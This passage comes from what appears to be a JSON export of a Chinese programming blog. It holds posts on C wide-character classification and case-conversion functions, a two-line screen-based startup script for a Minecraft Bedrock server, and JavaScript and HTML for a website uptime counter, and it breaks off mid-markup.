class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;alnum\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswalnum(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;alpha\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswalpha(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;blank\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswblank(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;cntrl\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswcntrl(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;digit\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswdigit(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;graph\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswgraph(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;lower\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswlower(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;print\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswprint(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;punct\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswpunct(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;space\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswspace(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;upper\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswupper(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eiswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;xdigit\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 iswxdigit(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"大小写转换函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%A7%E5%B0%8F%E5%86%99%E8%BD%AC%E6%8D%A2%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"大小写转换函数\"\u003e\u003c/a\u003e大小写转换函数\u003c/h3\u003e\u003cp\u003ewctype.h 提供以下宽字符大小写转换函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003etowlower() 将大写宽字符转换为小写\u003c/li\u003e\u003cli\u003etowupper() 将小写宽字符转换为大写\u003c/li\u003e\u003cli\u003etowctrans() 宽字符大小写转换的通用函数\u003c/li\u003e\u003cli\u003ewctrans() 大小写转换的辅助函数,配合 towctrans() 使用\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e先看\u003ccode\u003etowlower()\u003c/code\u003e和\u003ccode\u003etowupper()\u003c/code\u003e的用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etowlower(\u003cspan class=\"string\"\u003eL\u0026#39;B\u0026#39;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// b\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etowupper(\u003cspan class=\"string\"\u003eL\u0026#39;e\u0026#39;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// E\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etowctrans()\u003c/code\u003e和\u003ccode\u003ewctrans()\u003c/code\u003e的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewint_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003etowctrans\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003ewint_t\u003c/span\u003e wc, \u003cspan class=\"type\"\u003ewctrans_t\u003c/span\u003e desc)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewctrans_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewctrans\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* property)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是它们的用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etowctrans(c, wctrans(\u003cspan class=\"string\"\u003e\u0026#34;toupper\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 towupper(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etowctrans(c, wctrans(\u003cspan class=\"string\"\u003e\u0026#34;tolower\u0026#34;\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 相当于 towlower(c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/"},{"title":"写一个基岩版的启动脚本","time":"2021-10-28T07:24:39Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e首先确保服务器安装了\u003ccode\u003escreen\u003c/code\u003e,否则无法在后台运行服务端。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实nohup好像也可以,不过没试过。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e文件1:start.sh\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eLD_LIBRARY_PATH=. ./bedrock_server\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e文件2:run_in_scr.sh\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escreen -dmS mcpe_1.14.60.5 ./start.sh\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e启动时,只需要运行\u003ccode\u003erun_in_scr.sh\u003c/code\u003e即可在screen中启动。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/10/28/%E6%B8%B8%E6%88%8F/Minecraft/%E5%86%99%E4%B8%80%E4%B8%AA%E5%9F%BA%E5%B2%A9%E7%89%88%E7%9A%84%E5%90%AF%E5%8A%A8%E8%84%9A%E6%9C%AC/"},{"title":"用JavaScript写一个运行时间统计","time":"2021-10-27T15:00:46Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e直接上代码。\u003c/p\u003e\u003cp\u003ejs部分:\u003c/p\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* filename:run_time.js */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003etime_calc\u003c/span\u003e(\u003cspan class=\"params\"\u003eY, M, D, h, m, s\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e seconds = \u003cspan class=\"number\"\u003e1000\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e minutes = seconds * \u003cspan class=\"number\"\u003e60\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e hours = minutes * \u003cspan class=\"number\"\u003e60\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e days = hours * \u003cspan class=\"number\"\u003e24\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e years = days * \u003cspan class=\"number\"\u003e365\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e today = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDate\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e time = \u003cspan class=\"title class_\"\u003eDate\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eUTC\u003c/span\u003e(today.\u003cspan class=\"title function_\"\u003egetFullYear\u003c/span\u003e(), today.\u003cspan class=\"title function_\"\u003egetMonth\u003c/span\u003e() + \u003cspan class=\"number\"\u003e1\u003c/span\u003e, today.\u003cspan class=\"title function_\"\u003egetDate\u003c/span\u003e(), today.\u003cspan class=\"title function_\"\u003egetHours\u003c/span\u003e(), today.\u003cspan class=\"title function_\"\u003egetMinutes\u003c/span\u003e(), today.\u003cspan class=\"title function_\"\u003egetSeconds\u003c/span\u003e()) - \u003cspan class=\"title class_\"\u003eDate\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eUTC\u003c/span\u003e(Y, M, D, h, m, s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e year = \u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003efloor\u003c/span\u003e(time / years)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e day = \u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003efloor\u003c/span\u003e((time / days) - year * \u003cspan class=\"number\"\u003e365\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e hour = \u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003efloor\u003c/span\u003e((time - (year * \u003cspan class=\"number\"\u003e365\u003c/span\u003e + day) * days) / hours);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e minute = \u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003efloor\u003c/span\u003e((time - (year * \u003cspan class=\"number\"\u003e365\u003c/span\u003e + day) * days - hour * hours) / minutes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e second = \u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003efloor\u003c/span\u003e((time - (year * \u003cspan class=\"number\"\u003e365\u003c/span\u003e + day) * days - hour * hours - minute * minutes) / seconds);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e { \u003cspan class=\"string\"\u003e\u0026#34;year\u0026#34;\u003c/span\u003e: year, \u003cspan class=\"string\"\u003e\u0026#34;day\u0026#34;\u003c/span\u003e: day, \u003cspan class=\"string\"\u003e\u0026#34;hour\u0026#34;\u003c/span\u003e: hour, \u003cspan class=\"string\"\u003e\u0026#34;minute\u0026#34;\u003c/span\u003e: minute, \u003cspan class=\"string\"\u003e\u0026#34;second\u0026#34;\u003c/span\u003e: second };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003esite_run_time\u003c/span\u003e(\u003cspan class=\"params\"\u003eY,M,D,h,m,s\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ewindow\u003c/span\u003e.\u003cspan class=\"built_in\"\u003esetInterval\u003c/span\u003e(\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e time = \u003cspan class=\"title function_\"\u003etime_calc\u003c/span\u003e(Y,M,D,h,m,s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;time_year\u0026#39;\u003c/span\u003e).\u003cspan class=\"property\"\u003einnerText\u003c/span\u003e = time.\u003cspan class=\"property\"\u003eyear\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;time_day\u0026#39;\u003c/span\u003e).\u003cspan class=\"property\"\u003einnerText\u003c/span\u003e = time.\u003cspan class=\"property\"\u003eday\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;time_hour\u0026#39;\u003c/span\u003e).\u003cspan class=\"property\"\u003einnerText\u003c/span\u003e = time.\u003cspan class=\"property\"\u003ehour\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;time_minute\u0026#39;\u003c/span\u003e).\u003cspan class=\"property\"\u003einnerText\u003c/span\u003e = time.\u003cspan class=\"property\"\u003eminute\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;time_second\u0026#39;\u003c/span\u003e).\u003cspan class=\"property\"\u003einnerText\u003c/span\u003e = time.\u003cspan class=\"property\"\u003esecond\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }, \u003cspan class=\"number\"\u003e1000\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eHTML部分:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u0026lt;!-- filename:index.html --\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;!DOCTYPE \u003cspan class=\"keyword\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e \u003cspan class=\"attr\"\u003elang\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;en\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003echarset\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003ehttp-equiv\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;X-UA-Compatible\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003econtent\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;IE=edge\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003ename\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;viewport\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003econtent\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etitle\u003c/span\u003e\u0026gt;\u003c/span\u003eDemo\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etitle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;footer\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e系统已稳定运行:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan 